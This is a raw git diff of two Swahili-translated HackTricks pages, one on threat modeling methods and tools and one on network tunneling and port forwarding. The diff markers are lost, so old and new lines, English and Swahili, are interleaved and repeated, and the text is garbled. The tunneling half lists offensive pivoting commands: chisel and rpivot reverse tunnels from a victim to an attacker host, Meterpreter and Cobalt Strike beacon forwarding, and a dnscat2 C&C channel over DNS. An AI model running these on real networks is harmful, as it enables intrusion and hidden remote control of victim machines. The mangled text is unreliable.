Karibu kwenye mwongozo wa kina wa HackTricks kuhusu Threat Modeling! Anza uchunguzi wa kipengele hiki muhimu cha usalama wa mtandao, ambapo tunatambua, kuelewa, na kupanga mikakati dhidi ya udhaifu wa uwezekano katika mfumo. Thread hii inatoa mwongozo wa hatua kwa hatua uliojaa mifano halisi, programu za kusaidia, na maelezo rahisi kueleweka. Inafaa kwa wapya na wataalamu wenye uzoefu wanaotafuta kuimarisha ulinzi wao wa usalama wa mtandao.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na malwares za wizi wa habari.
|
||||
### Commonly Used Scenarios
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
1. **Software Development**: Kama sehemu ya Mzunguko wa Maisha ya Maendeleo ya Programu Salama (SSDLC), threat modeling husaidia katika **kutambua vyanzo vya udhaifu** katika hatua za awali za maendeleo.
|
||||
2. **Penetration Testing**: Mfumo wa Kiwango cha Utekelezaji wa Upimaji wa Penetration (PTES) unahitaji **threat modeling ili kuelewa udhaifu wa mfumo** kabla ya kufanya mtihani.
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
### Threat Model in a Nutshell
|
||||
|
||||
***
|
||||
Mfano wa Threat Model kawaida huwakilishwa kama mchoro, picha, au aina nyingine ya uwasilishaji wa kuona unaoonyesha usanifu uliopangwa au ujenzi wa sasa wa programu. Inafanana na **mchoro wa mtiririko wa data**, lakini tofauti kuu iko katika muundo wake unaolenga usalama.
|
||||
|
||||
## Kupanga Tishio
|
||||
Mifano ya vitisho mara nyingi ina vipengele vilivyowekwa kwa rangi nyekundu, vinavyowakilisha udhaifu, hatari, au vizuizi vya uwezekano. Ili kurahisisha mchakato wa kutambua hatari, triad ya CIA (Usiri, Uaminifu, Upatikanaji) inatumika, ik forming msingi wa mbinu nyingi za threat modeling, huku STRIDE ikiwa moja ya maarufu zaidi. Hata hivyo, mbinu iliyochaguliwa inaweza kutofautiana kulingana na muktadha maalum na mahitaji.
|
||||
|
||||
Karibu kwenye mwongozo kamili wa HackTricks kuhusu Kupanga Tishio! Anza safari ya kuchunguza sehemu hii muhimu ya usalama wa mtandao, ambapo tunatambua, kuelewa, na kutengeneza mkakati dhidi ya udhaifu wa uwezekano katika mfumo. Mfululizo huu ni mwongozo hatua kwa hatua uliojaa mifano halisi, programu za kusaidia, na maelezo rahisi kueleweka. Ideal kwa wote wapya na wataalamu wenye uzoefu wanaotaka kuimarisha ulinzi wao wa usalama wa mtandao.
|
||||
### The CIA Triad
|
||||
|
||||
### Matukio Yanayotumiwa Mara kwa Mara
|
||||
Triad ya CIA ni mfano unaotambulika sana katika uwanja wa usalama wa habari, ikisimama kwa Usiri, Uaminifu, na Upatikanaji. Nguzo hizi tatu zinaunda msingi ambao hatua nyingi za usalama na sera zimejengwa, ikiwa ni pamoja na mbinu za threat modeling.
|
||||
|
||||
1. **Maendeleo ya Programu**: Kama sehemu ya Mzunguko wa Maendeleo Salama wa Programu (SSDLC), kupanga tishio husaidia katika ** kutambua vyanzo vya uwezekano wa udhaifu ** katika hatua za mwanzo za maendeleo.
|
||||
2. **Upimaji wa Kuingilia**: Mfumo wa Utekelezaji wa Upimaji wa Kuingilia (PTES) unahitaji **kupanga tishio kuelewa udhaifu wa mfumo** kabla ya kufanya jaribio.
|
||||
1. **Usiri**: Kuhakikisha kwamba data au mfumo haupatikani kwa watu wasioidhinishwa. Hii ni kipengele cha kati cha usalama, kinachohitaji udhibiti sahihi wa ufikiaji, usimbaji, na hatua nyingine za kuzuia uvunjaji wa data.
|
||||
2. **Uaminifu**: Usahihi, uthabiti, na uaminifu wa data katika mzunguko wake wa maisha. Kanuni hii inahakikisha kwamba data haibadilishwi au kudhuruwa na wahusika wasioidhinishwa. Mara nyingi inahusisha checksums, hashing, na mbinu nyingine za uthibitishaji wa data.
|
||||
3. **Upatikanaji**: Hii inahakikisha kwamba data na huduma zinapatikana kwa watumiaji walioidhinishwa wanapohitajika. Hii mara nyingi inahusisha redundancy, uvumilivu wa makosa, na usanifu wa upatikanaji wa juu ili kuweka mifumo ikifanya kazi hata mbele ya usumbufu.
|
||||
|
||||
### Kupanga Tishio kwa Kifupi
|
||||
### Threat Modeling Methodlogies
|
||||
|
||||
Kupanga Tishio kawaida hupewa kama ramani, picha, au aina nyingine ya mchoro wa kuonyesha usanidi uliopangwa au ujenzi uliopo wa programu. Inafanana na **mchoro wa mtiririko wa data**, lakini tofauti kuu iko katika muundo wake unaolenga usalama.
|
||||
1. **STRIDE**: Iliyotengenezwa na Microsoft, STRIDE ni kifupi cha **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Kila kundi linawakilisha aina ya tishio, na mbinu hii hutumiwa mara nyingi katika hatua ya kubuni ya programu au mfumo ili kutambua vitisho vya uwezekano.
|
||||
2. **DREAD**: Hii ni mbinu nyingine kutoka Microsoft inayotumika kwa tathmini ya hatari ya vitisho vilivyotambuliwa. DREAD inasimama kwa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Kila moja ya mambo haya inapata alama, na matokeo yanatumika kuipa kipaumbele vitisho vilivyotambuliwa.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Hii ni mbinu ya hatua saba, **iliyolenga hatari**. Inajumuisha kufafanua na kutambua malengo ya usalama, kuunda upeo wa kiufundi, uharibifu wa programu, uchambuzi wa vitisho, uchambuzi wa udhaifu, na tathmini ya hatari/triage.
|
||||
4. **Trike**: Hii ni mbinu inayotegemea hatari inayolenga kulinda mali. Inaanza kutoka mtazamo wa **usimamizi wa hatari** na inatazama vitisho na udhaifu katika muktadha huo.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Mbinu hii inalenga kuwa rahisi zaidi na kuunganishwa katika mazingira ya maendeleo ya Agile. Inachanganya vipengele kutoka mbinu nyingine na inazingatia **uwakilishi wa kuona wa vitisho**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Iliyotengenezwa na Kituo cha Uratibu cha CERT, mfumo huu unalenga **tathmini ya hatari ya shirika badala ya mifumo au programu maalum**.
|
||||
|
||||
Mifano ya tishio mara nyingi huonyesha vipengele vilivyowekwa kwa rangi nyekundu, ikisymbolisha udhaifu, hatari, au vizuizi. Ili kusonga mchakato wa kutambua hatari, triadi ya CIA (Usiri, Uadilifu, Upatikanaji) hutumiwa, ikifanya msingi wa mbinu nyingi za kupanga tishio, na STRIDE ikiwa moja ya kawaida zaidi. Walakini, mbinu iliyochaguliwa inaweza kutofautiana kulingana na muktadha na mahitaji maalum.
|
||||
## Tools
|
||||
|
||||
### Triadi ya CIA
|
||||
|
||||
Triadi ya CIA ni mfano unaotambuliwa sana katika uga wa usalama wa habari, ikimaanisha Usiri, Uadilifu, na Upatikanaji. Nguzo hizi tatu hufanya msingi ambao hatua nyingi za usalama na sera zinajengwa, pamoja na mbinu za kupanga tishio.
|
||||
|
||||
1. **Usiri**: Kuhakikisha kuwa data au mfumo haufikiwi na watu wasiohalali. Hii ni sehemu muhimu ya usalama, inahitaji udhibiti sahihi wa ufikiaji, encryption, na hatua zingine za kuzuia uvujaji wa data.
|
||||
2. **Uadilifu**: Uaminifu, uadilifu, na uaminifu wa data wakati wa mzunguko wake wa maisha. Kanuni hii inahakikisha kuwa data haibadilishwi au kuharibiwa na vyama visivyoruhusiwa. Mara nyingi inahusisha checksums, hashing, na njia zingine za uthibitisho wa data.
|
||||
3. **Upatikanaji**: Hii inahakikisha kuwa data na huduma zinapatikana kwa watumiaji walioruhusiwa wanapohitajika. Mara nyingi inahusisha redundancy, uvumilivu wa makosa, na mipangilio ya upatikanaji wa juu ili kuhakikisha mifumo inaendelea hata katika kipindi cha vurugu.
|
||||
|
||||
### Mbinu za Kupanga Tishio
|
||||
|
||||
1. **STRIDE**: Iliyoundwa na Microsoft, STRIDE ni kifupisho cha **Kujifanya, Kuharibu, Kukataa, Kufichua Habari, Kukataa Huduma, na Kuinua Uwezo**. Kila jamii inawakilisha aina ya tishio, na mbinu hii mara nyingi hutumiwa katika hatua ya kubuni ya programu au mfumo kutambua tishio la uwezekano.
|
||||
2. **DREAD**: Hii ni mbinu nyingine kutoka Microsoft inayotumika kwa tathmini ya hatari ya tishio lililotambuliwa. DREAD inasimama kwa **Uharibifu wa Uwezo, Uwezekano wa Kurudia, Uwezekano wa Kutumika, Watumiaji Wanaoathiriwa, na Ugunduzi**. Kila moja ya vipengele hivi hupewa alama, na matokeo hutumiwa kuweka kipaumbele kwa tishio lililotambuliwa.
|
||||
3. **PASTA** (Mchakato wa Ukweli wa Mashambulizi na Uchambuzi wa Tishio): Hii ni mbinu ya hatua saba, **yenye msingi wa hatari**. Inajumuisha kufafanua na kutambua malengo ya usalama, kuunda wigo wa kiufundi, uchambuzi wa tishio, uchambuzi wa udhaifu, na tathmini ya hatari/utaratibu.
|
||||
4. **Trike**: Hii ni mbinu inayolenga hatari ambayo inazingatia kulinda mali. Inaanza kutoka mtazamo wa **usimamizi wa hatari** na kutazama tishio na udhaifu katika muktadha huo.
|
||||
5. **VAST** (Kupanga Tishio kwa njia ya Visual, Agile, na Rahisi): Mbinu hii inalenga kuwa rahisi kufikika na kuingiliana katika mazingira ya maendeleo ya Agile. Inachanganya vipengele kutoka kwa mbinu zingine na inazingatia **uwakilishi wa visual wa tishio**.
|
||||
6. **OCTAVE** (Tathmini ya Tishio, Mali, na Udhaifu wa Kitaalam): Iliyoundwa na Kituo cha Ushauri wa CERT, mfumo huu unalenga kwa **tathmini ya hatari ya shirika badala ya mifumo au programu maalum**.
|
||||
|
||||
## Zana
|
||||
|
||||
Kuna zana na suluhisho za programu kadhaa zinazopatikana ambazo zinaweza **kusaidia** katika uundaji na usimamizi wa mifano ya tishio. Hapa kuna chache unazoweza kuzingatia.
|
||||
Kuna zana kadhaa na suluhisho za programu zinazopatikana ambazo zinaweza **kusaidia** katika uundaji na usimamizi wa mifano ya vitisho. Hapa kuna chache unazoweza kuzingatia.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
Injini ya wavuti ya msalaba ya juu na GUI yenye vipengele vingi kwa wataalamu wa usalama wa mtandao. Spider Suite inaweza kutumika kwa ramani na uchambuzi wa eneo la mashambulizi.
|
||||
Zana ya kisasa ya GUI ya wavuti ya kuvuka jukwaa na vipengele vingi kwa wataalamu wa usalama wa mtandao. Spider Suite inaweza kutumika kwa ramani na uchambuzi wa uso wa shambulio.
|
||||
|
||||
**Matumizi**
|
||||
**Usage**
|
||||
|
||||
1. Chagua URL na Fanya Utafutaji
|
||||
1. Chagua URL na Crawl
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Angalia Grafu
|
||||
2. Tazama Mchoro
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
Mradi wa chanzo wazi kutoka OWASP, Threat Dragon ni programu ya wavuti na desktop ambayo inajumuisha kutengeneza michoro ya mfumo pamoja na injini ya sheria ya kuzalisha moja kwa moja tishio/mitigations.
|
||||
Mradi wa chanzo wazi kutoka OWASP, Threat Dragon ni programu ya wavuti na desktop ambayo inajumuisha uchoraji wa mifumo pamoja na injini ya sheria za kuunda vitisho/mipango kiotomatiki.
|
||||
|
||||
**Matumizi**
|
||||
**Usage**
|
||||
|
||||
1. Unda Mradi Mpya
|
||||
|
||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wakati mwingine inaweza kuonekana kama hivi:
|
||||
Wakati mwingine inaweza kuonekana kama hii:
|
||||
|
||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -88,19 +75,19 @@ Wakati mwingine inaweza kuonekana kama hivi:
|
|||
|
||||
4. Unda mfano wako
|
||||
|
||||
Unaweza kutumia zana kama SpiderSuite Crawler kukupa msukumo, mfano wa msingi ungeonekana kama hivi
|
||||
Unaweza kutumia zana kama SpiderSuite Crawler kukupa msukumo, mfano wa msingi unaweza kuonekana kama hii
|
||||
|
||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kidogo kuhusu maelezo ya vitu:
|
||||
Tu kidogo ya maelezo kuhusu viumbe:
|
||||
|
||||
* Mchakato (Entiti yenyewe kama Seva ya Wavuti au utendaji wa wavuti)
|
||||
* Mwigizaji (Mtu kama Mtembeleaji wa Wavuti, Mtumiaji au Msimamizi)
|
||||
* Mstari wa Mzunguko wa Data (Kiashiria cha Mwingiliano)
|
||||
* Mpaka wa Uaminifu (Maeneo tofauti ya mtandao au mizunguko.)
|
||||
* Hifadhi (Vitu ambapo data zimehifadhiwa kama vile Databases)
|
||||
* Mchakato (Kiumbe chenyewe kama vile Webserver au kazi za wavuti)
|
||||
* Mchezaji (Mtu kama vile Mtembezi wa Tovuti, Mtumiaji au Msimamizi)
|
||||
* Mstari wa Mtiririko wa Data (Kiashiria cha Maingiliano)
|
||||
* Mpaka wa Kuamini (Sehemu tofauti za mtandao au upeo.)
|
||||
* Hifadhi (Mambo ambapo data zinawekwa kama vile Mifumo ya Takwimu)
|
||||
|
||||
5. Unda Tishio (Hatua 1)
|
||||
5. Unda Tishio (Hatua ya 1)
|
||||
|
||||
Kwanza unapaswa kuchagua safu unayotaka kuongeza tishio
|
||||
|
||||
|
|
@ -110,27 +97,16 @@ Sasa unaweza kuunda tishio
|
|||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kumbuka kuna tofauti kati ya Tishio la Mwigizaji na Tishio la Mchakato. Ikiwa ungeongeza tishio kwa Mwigizaji basi utaweza kuchagua tu "Kujifanya" na "Kukataa". Walakini katika mfano wetu tunachagua tishio kwa entiti ya Mchakato kwa hivyo tutauona huu katika sanduku la uundaji wa tishio:
|
||||
Kumbuka kwamba kuna tofauti kati ya Vitisho vya Mchezaji na Vitisho vya Mchakato. Ikiwa ungeongeza tishio kwa Mchezaji basi utaweza kuchagua tu "Spoofing" na "Repudiation". Hata hivyo katika mfano wetu tunaongeza tishio kwa kiumbe cha Mchakato hivyo tutaona hii katika kisanduku cha uundaji wa tishio:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. Maliza
|
||||
6. Imekamilika
|
||||
|
||||
Sasa mfano wako uliomalizika unapaswa kuonekana kama hivi. Na hivi ndivyo unavyounda mfano rahisi wa tishio na OWASP Threat Dragon.
|
||||
Sasa mfano wako wa kumaliza unapaswa kuonekana kama hii. Na hivi ndivyo unavyofanya mfano rahisi wa tishio na OWASP Threat Dragon.
|
||||
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
### [Chombo cha Microsoft Threat Modeling](https://aka.ms/threatmodelingtool)
|
||||
|
||||
Hii ni chombo cha bure kutoka Microsoft kinachosaidia katika kutambua vitisho katika hatua ya kubuni ya miradi ya programu. Hutumia mbinu ya STRIDE na ni hasa inafaa kwa wale wanaoendeleza kwenye mfumo wa Microsoft.
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utaftaji inayotumia **dark-web** ambayo inatoa huduma za **bure** za kuangalia ikiwa kampuni au wateja wake wameathiriwa na **malwares za wizi**.
|
||||
|
||||
Lengo kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulio ya ransomware yanayotokana na programu hasidi za wizi wa habari.
|
||||
|
||||
Unaweza kutembelea tovuti yao na kujaribu injini yao **bure** kwa:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Hii ni zana ya bure kutoka Microsoft inayosaidia katika kutafuta vitisho katika hatua ya kubuni ya miradi ya programu. Inatumia mbinu ya STRIDE na inafaa hasa kwa wale wanaoendeleza kwenye stack ya Microsoft.
|
||||
|
|
|
|||
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmap tip
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP** na **SYN** skana haiwezi kupitishwa kupitia socks proxies, hivyo lazima **tuondoe ping discovery** (`-Pn`) na kubaini **TCP skana** (`-sT`) ili hii ifanye kazi.
|
||||
**ICMP** na **SYN** skani hazitaweza kupitishwa kupitia socks proxies, hivyo lazima **tuondoe ping discovery** (`-Pn`) na kubaini **TCP skani** (`-sT`) ili hii ifanye kazi.
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
|
@ -55,7 +47,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
|||
```
|
||||
### Local Port2Port
|
||||
|
||||
Fungua Bandari Mpya kwenye SSH Server --> Bandari nyingine
|
||||
Fungua Port mpya kwenye SSH Server --> Port nyingine
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
|
|
@ -126,7 +118,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
|||
|
||||
### Port2Port
|
||||
|
||||
Bandari ya ndani --> Kituo kilichoshambuliwa (sehemu inayofanya kazi) --> Sanduku\_tatu:Bandari
|
||||
Bandari ya ndani --> Kituo kilichoshambuliwa (kipindi kinachofanya kazi) --> Sanduku\_tatu:Bandari
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
|
|
@ -156,7 +148,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### SOCKS proxy
|
||||
|
||||
Fungua bandari katika teamserver inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**.
|
||||
Fungua bandari katika server ya timu inayosikiliza katika interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
|
@ -167,7 +159,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika kesi hii, **bandari imefunguliwa katika mwenyeji wa beacon**, sio katika Server ya Timu na trafiki inatumwa kwa Server ya Timu na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa.
|
||||
Katika kesi hii, **bandari imefunguliwa katika mwenyeji wa beacon**, sio katika Server ya Timu na trafiki inatumwa kwa Server ya Timu na kutoka hapo kwa mwenyeji:bandari iliyoonyeshwa
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
|
|
@ -175,14 +167,14 @@ rportfwd stop [bind port]
|
|||
```
|
||||
To note:
|
||||
|
||||
- Reverse port forward ya Beacon imeundwa ili **kufanya tunneling ya trafiki kwa Server ya Timu, sio kwa kuhamasisha kati ya mashine binafsi**.
|
||||
- Trafiki ni **tunneled ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P.
|
||||
- Reverse port forward ya Beacon imeundwa ili **kufanya tunneling ya trafiki kwa Team Server, sio kwa kuhamasisha kati ya mashine binafsi**.
|
||||
- Trafiki **inafanywa tunneling ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P.
|
||||
- **Haki za admin hazihitajiki** kuunda reverse port forwards kwenye port za juu.
|
||||
|
||||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika kesi hii, **port imefunguliwa katika mwenyeji wa beacon**, sio katika Server ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Server ya Timu) na kutoka hapo kwa mwenyeji:port iliyoonyeshwa.
|
||||
Katika kesi hii, **port imefunguliwa katika mwenyeji wa beacon**, sio katika Team Server na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Team Server) na kutoka hapo kwa mwenyeji:port iliyoonyeshwa.
|
||||
{% endhint %}
|
||||
```
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
|
|
@ -210,7 +202,7 @@ Unahitaji kutumia **toleo sawa kwa mteja na seva**
|
|||
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
||||
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
||||
```
|
||||
### Uelekezaji wa bandari
|
||||
### Uhamasishaji wa bandari
|
||||
```bash
|
||||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||||
|
|
@ -219,7 +211,7 @@ Unahitaji kutumia **toleo sawa kwa mteja na seva**
|
|||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Tunneli ya kurudi. Tunneli inaanza kutoka kwa mwathirika.\
|
||||
Tunneli ya nyuma. Tunneli inaanza kutoka kwa mwathirika.\
|
||||
Proxy ya socks4 inaundwa kwenye 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
|
|
@ -325,13 +317,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
Unahitaji kuwa na **RDP access juu ya mfumo**.\
|
||||
Unahitaji kuwa na **ufikiaji wa RDP juu ya mfumo**.\
|
||||
Pakua:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Chombo hiki kinatumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Remote Desktop Service cha Windows. DVC inawajibika kwa **tunneling packets juu ya RDP connection**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Chombo hiki kinatumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya KijRemote ya Windows. DVC inawajibika kwa **kuchora pakiti juu ya muunganisho wa RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Katika kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama ifuatavyo:
|
||||
Katika kompyuta yako ya mteja, pakia **`SocksOverRDP-Plugin.dll`** kama ifuatavyo:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
|
|
@ -346,13 +338,13 @@ Sasa, thibitisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikil
|
|||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupanua trafiki kupitia bandari hiyo.**
|
||||
Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupeleka trafiki kupitia bandari hiyo.**
|
||||
|
||||
## Proxify Windows GUI Apps
|
||||
|
||||
Unaweza kufanya programu za Windows GUI zipitie proxy kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
|
||||
Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\
|
||||
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kupanua na muunganisho kwa IP unazotaka kupanua.
|
||||
Katika **Profile -> Proxification Rules** ongeza jina la programu ya kupeleka na muunganisho kwa IP unazotaka kupeleka.
|
||||
|
||||
## NTLM proxy bypass
|
||||
|
||||
|
|
@ -365,8 +357,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Inathibitisha dhidi ya proxy na inafunga bandari kwa ndani ambayo inasambazwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.\
|
||||
Kwa mfano, inasambaza bandari 443
|
||||
Inathibitisha dhidi ya proxy na inafunga bandari kwa ndani ambayo inapelekwa kwa huduma ya nje unayoelekeza. Kisha, unaweza kutumia chombo chochote unachokipenda kupitia bandari hii.\
|
||||
Kwa mfano, inapeleka bandari 443
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
|
@ -393,7 +385,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
|||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH uliofinywa kupitia tuneli hii kwa kutumia:
|
||||
Tuneli itakuwa polepole sana. Unaweza kuunda muunganisho wa SSH ulioshinikizwa kupitia tuneli hii kwa kutumia:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
|
|
@ -401,7 +393,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
|||
|
||||
[**Pakua kutoka hapa**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Inaunda channel ya C\&C kupitia DNS. Haitaji ruhusa za mzizi.
|
||||
Inaunda channel ya C\&C kupitia DNS. Haihitaji ruhusa za root.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
|
|
@ -474,13 +466,13 @@ chmod a+x ./ngrok
|
|||
# Init configuration, with your token
|
||||
./ngrok config edit
|
||||
```
|
||||
### Matumizi Msingi
|
||||
### Matumizi ya Msingi
|
||||
|
||||
**Hati:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.*
|
||||
|
||||
#### Tunneling TCP
|
||||
#### Kuingiza TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
|
|
@ -507,9 +499,9 @@ Moja kwa moja kutoka stdout au katika kiolesura cha HTTP [http://127.0.0.1:4040]
|
|||
```
|
||||
#### ngrok.yaml mfano rahisi wa usanidi
|
||||
|
||||
Inafungua miji 3:
|
||||
Inafungua mabwawa 3:
|
||||
- 2 TCP
|
||||
- 1 HTTP na uwasilishaji wa faili za kudumu kutoka /tmp/httpbin/
|
||||
- 1 HTTP na uonyeshaji wa faili za kudumu kutoka /tmp/httpbin/
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
|
|
@ -522,22 +514,14 @@ httpstatic:
|
|||
proto: http
|
||||
addr: file:///tmp/httpbin/
|
||||
```
|
||||
## Zana nyingine za kuangalia
|
||||
## Vifaa vingine vya kuangalia
|
||||
|
||||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Jaribu Kikundi cha Usalama wa Juu**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
